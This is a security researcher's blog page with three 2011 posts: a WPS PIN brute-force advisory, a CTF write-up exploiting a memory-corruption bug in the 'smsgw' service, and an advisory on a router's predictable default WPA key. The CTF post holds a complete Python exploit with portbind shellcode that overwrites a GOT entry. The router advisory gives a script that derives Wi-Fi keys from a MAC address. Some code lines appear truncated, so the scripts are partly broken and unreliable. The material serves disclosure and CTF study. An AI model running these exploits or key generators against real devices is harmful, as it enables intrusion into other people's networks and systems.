.braindump – RE and stuff

December 27, 2011

Wi-Fi Protected Setup PIN brute force vulnerability

Filed under: advisories — Stefan @ 3:00 am

A few weeks ago I decided to take a look at the Wi-Fi Protected Setup (WPS) technology. I noticed a few really bad design decisions which enable an efficient brute force attack, thus effectively breaking the security of pretty much all WPS-enabled Wi-Fi routers. As all of the more recent router models come with WPS enabled by default, this affects millions of devices worldwide.

I reported this vulnerability to CERT/CC and provided them with a list of (confirmed) affected vendors. CERT/CC has assigned VU#723755 to this issue.
To my knowledge none of the vendors have reacted and released firmware with mitigations in place.

Detailed information about this vulnerability can be found in this paper: Brute forcing Wi-Fi Protected Setup – Please keep in mind that the devices mentioned there are just a tiny subset of the affected devices.

I would like to thank the guys at CERT for coordinating this vulnerability.

Update (12/29/2011 – 20:15 CET)
As you probably already know, this vulnerability was independently discovered by Craig Heffner (/dev/ttyS0, Tactical Network Solutions) as well – I was just the one who reported the vulnerability and released information about it first. Craig and his team have now released their tool “Reaver” over at Google Code.

My PoC Brute Force Tool can be found here. It’s a bit faster than Reaver, but will not work with all Wi-Fi adapters.

Update (12/31/2011 – 14:25 CET)

Update (04/01/2012 – 17:45 CET)
Tactical Network Solutions has decided to release the code for the commercial version of Reaver. You might want to check it out.

December 8, 2011

UCSB iCTF smsgw Memory Corruption Exploit

Filed under: RE — Stefan @ 4:35 pm

I had a great time at UCSB iCTF 2011 last weekend. Unfortunately, I did not have a chance to look at the (binary-only) service smsgw, so I did just that today.

A writeup for smsgw’s sister process mailgw is already available.
Other than in mailgw, no user controlled code (shellcode) is directly called in this service. However, arbitrary data can be written to arbitrary memory locations.

From manage_tcp_client():

device_data = &msg_info_ptr[4 * number_devices];
for ( i = 0; (signed int)i < (signed int)number_devices; ++i )
  current_device = &msg_info_ptr[4 * i];
  device_offset = read_int((uint32_t **)&current_device);
  *(_DWORD *)&device_data[device_offset] = *(_DWORD *)&msg_info[65536];// interesting!
  current_device = &device_data[device_offset + 4];
  current_device_name = read_string((const void **)&current_device);

Both device_offset and msg_info[] is user input.

But how can we gain control of EIP?
The answer can be found in main():

mprotect((void *)(-pagesize & (unsigned int)msg_info),
         (-pagesize & (unsigned int)&msg_info[pagesize + 65543]) - (-pagesize & (unsigned int)msg_info),

This code makes at least two pages RWX (assuming pagesize==0x1000).
Let’s see which memory areas are affected:

0804c000-0804d000 rwxp 00003000 08:01 1081943    /tmp/smsgw
0804d000-0805d000 rwxp 00000000 00:00 0

[23] .got.plt          PROGBITS        0804bff4 002ff4 0000bc 04  WA  0   0  4
[24] .data             PROGBITS        0804c0b0 0030b0 000008 00  WA  0   0  4
[25] .bss              NOBITS          0804c0c0 0030b8 010048 00  WA  0   0 32

My solution is to overwrite one pointer in .got.plt to make it point to my shellcode.
After corrupting memory, read_string will be called, which in turn calls ntohl. So this is the function pointer we want to corrupt.

.got.plt:0804C034 E4 C1 05 08             off_804C034     dd offset ntohl         ; DATA XREF: _ntohlr

This is the whole exploit (with some random padding) 🙂

import socket
import struct
import random

HOST, PORT = "", 1991

def send(msg):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

def rand(count):
return ''.join(chr(random.randint(0,255)) for _ in range(count))

def main():
ntohl_ptr = 0x0804C034
msg_info_addr = 0x0804C100
msg_info_len = 65544

linux x86 shellcode by eSDee of Netric (www.netric.org)
200 byte - forking portbind shellcode - port=0xb0ef(45295)
shell = "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
shell += "\x06\x51\xb1\x01\x51\xb1\x02\x51"
shell += "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
shell += "\x89\xc1\x31\xc0\x31\xdb\x50\x50"
shell += "\x50\x66\x68\xb0\xef\xb3\x02\x66"
shell += "\x53\x89\xe2\xb3\x10\x53\xb3\x02"
shell += "\x52\x51\x89\xca\x89\xe1\xb0\x66"
shell += "\xcd\x80\x31\xdb\x39\xc3\x74\x05"
shell += "\x31\xc0\x40\xcd\x80\x31\xc0\x50"
shell += "\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
shell += "\x80\x89\xd7\x31\xc0\x31\xdb\x31"
shell += "\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
shell += "\x80\x31\xc0\x31\xdb\x50\x50\x57"
shell += "\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
shell += "\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
shell += "\xcd\x80\x39\xc3\x75\x40\x31\xc0"
shell += "\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
shell += "\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
shell += "\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
shell += "\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
shell += "\x50\x68\x2f\x2f\x73\x68\x68\x2f"
shell += "\x62\x69\x6e\x89\xe3\x8b\x54\x24"
shell += "\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
shell += "\x80\x31\xc0\x40\xcd\x80\x31\xc0"
shell += "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"

msg = '\x00\x00\x00\x13'
msg += '\x32\x30\x31\x31\x2d\x31\x32\x2d'
msg += '\x30\x32\x20\x31\x34\x3a\x31\x31'
msg += '\x3a\x35\x31\x00\x00\x00\x06\x61'
msg += '\x62\x64\x78\x35\x68\x00\x00\x00'
msg += '\x27\x66\x6c\x67\x30\x31\x37\x32'
msg += '\x30\x30\x65\x62\x64\x30\x65\x65'
msg += '\x32\x63\x39\x30\x32\x31\x39\x66'
msg += '\x61\x63\x62\x65\x32\x32\x61\x62'
msg += '\x65\x65\x36\x64\x62\x36\x35\x63'
msg += '\x00\x00\x00\x40\x74\x61\x6b\x64'
msg += '\x61\x38\x62\x63\x76\x6e\x6f\x75'
msg += '\x71\x6c\x32\x72\x72\x61\x67\x77'
msg += '\x38\x37\x68\x70\x67\x67\x66\x7a'
msg += '\x69\x72\x34\x6b\x64\x66\x6e\x73'
msg += '\x38\x71\x70\x78\x65\x6b\x74\x36'
msg += '\x66\x30\x63\x61\x69\x38\x69\x75'
msg += '\x31\x77\x62\x39\x74\x77\x32\x33'
msg += '\x79\x76\x66\x73'
msg += '\x00\x00\x00\x01' # number of devices

msg += struct.pack('!i', ntohl_ptr - (msg_info_addr + len(msg) + 4)) # .got.plt:0804C034 off_804C034 dd offset ntohl
msg += rand(random.randint(0,500))
shell_offset = len(msg)
msg += shell
msg += rand(msg_info_len - len(msg) - (msg_info_len - 65536))
msg += struct.pack('I', msg_info_addr + shell_offset)  # *(_DWORD *)&msg_info[65536]
msg += rand(msg_info_len - len(msg))

msg_size = struct.pack('!I', msg_info_len)

print 'sending message to %s, len = %i ' % (HOST,len(msg))
send(msg_size + msg)

if __name__ == "__main__":

December 4, 2011

A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness

Filed under: advisories,RE — Stefan @ 8:05 pm
title:          A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness
product names:  PRG EAV4202N, PRGAV4202N, PRG 4202 N, P.RG AV4202N
device class:   802.11n DSL broadband gateway
vulnerable:     S/N PI101120401*
not vulnerable: S/N PI105220402* (?)
impact:         critical

product notes:
This device is manufactured by ADB Broadband (formerly Pirelli Broadband) and is rebranded for
A1 (formerly Telekom Austria). A Wi-Fi AP is enabled by default and can be accessed with the
default WPA-key printed on the back of the device.

vulnerability description:
The algorithm for the default WPA-key is entirely based on the internal MAC address (rg_mac).
rg_mac can either be derived from BSSID and SSID (if not changed) or BSSID alone.

2010-11-20 working exploit
2010-12-04 informed Telekom Austria
2010-12-06 TA requests exploit code
2010-12-07 PoC sent
2010-12-09 TA starts analysis with ADB Broadband
2010-12-17 analysis finished
2010-12-20 vulnerability confirmed, will be fixed in next hardware(!) revision
2011-03-10 TA discloses vulnerability to press
2011-03-10 TA confirms that they will not inform affected customers directly
2011-12-04 grace period over


import sys, re, hashlib

def gen_key(mac):
    seed = ('\x54\x45\x4F\x74\x65\x6C\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +
    lookup = '0123456789ABCDEFGHIKJLMNOPQRSTUVWXYZabcdefghikjlmnopqrstuvwxyz'

    h = hashlib.sha256()
    digest = bytearray(h.digest())
    return ''.join([lookup[x % len(lookup)] for x in digest[0:13]])

def main():
    print '*********************************************************************'
    print ' A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness'
    print '                 Stefan Viehboeck <@sviehb> 11.2010'
    print '*********************************************************************'

    if len(sys.argv) != 2:
        sys.exit('usage: pirelli_wpa.py [RG_MAC] or [BSSID]\n eg. pirelli_wpa.py 38229D112233\n')

    mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
    if len(mac_str) != 12:
        sys.exit('check MAC format!\n')

    mac = bytearray.fromhex(mac_str)
    print 'based on rg_mac:\nSSID: PBS-%02X%02X%02X' % (mac[3], mac[4], mac[5])
    print 'WPA key: %s\n' % (gen_key(mac))

    mac[5] -= 5
    print 'based on BSSID:\nSSID: PBS-%02X%02X%02X' % (mac[3], mac[4], mac[5])
    print 'WPA key: %s\n' % (gen_key(mac))

if __name__ == "__main__":

Create a free website or blog at WordPress.com.